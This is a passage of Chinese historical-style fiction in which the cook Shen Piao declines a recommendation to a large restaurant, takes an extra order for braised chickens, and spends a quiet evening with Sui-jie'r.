邹远没想到还能够，为了弥补过失，忙道，“沈娘子这样的好手艺，价钱应该收的贵些，娘子可需要去大酒楼？我可以保举。” 沈嫖没想到他还这般热情，“谢过邹郎君好意，不用了，我自由散漫惯了。”她不喜欢循规蹈矩的上班。 陶谕言现在已经完全理解上回吃萝卜丸子时好友要多给些钱的举动了，他把全部都放下，“沈娘子，明日那卤鸡可否再能够加上五只？” 他想着带回家给家人也品尝一二，这般的美食不吃岂不是辜负。 沈嫖应下，三十只也是腌制，五只也是，不过得需要到外面大厨房的大灶了，外加另外一个小锅。 两个人走时，天已经完全黑了。 沈嫖洗过碗筷后，就陪着穗姐儿写字，她切上两个梨子，放到炉子的壶中，煮些水来喝。 翌日晌午沈嫖做完买卖后，邹远就着人把清洗干净的三十五只小公鸡送到了食肆里。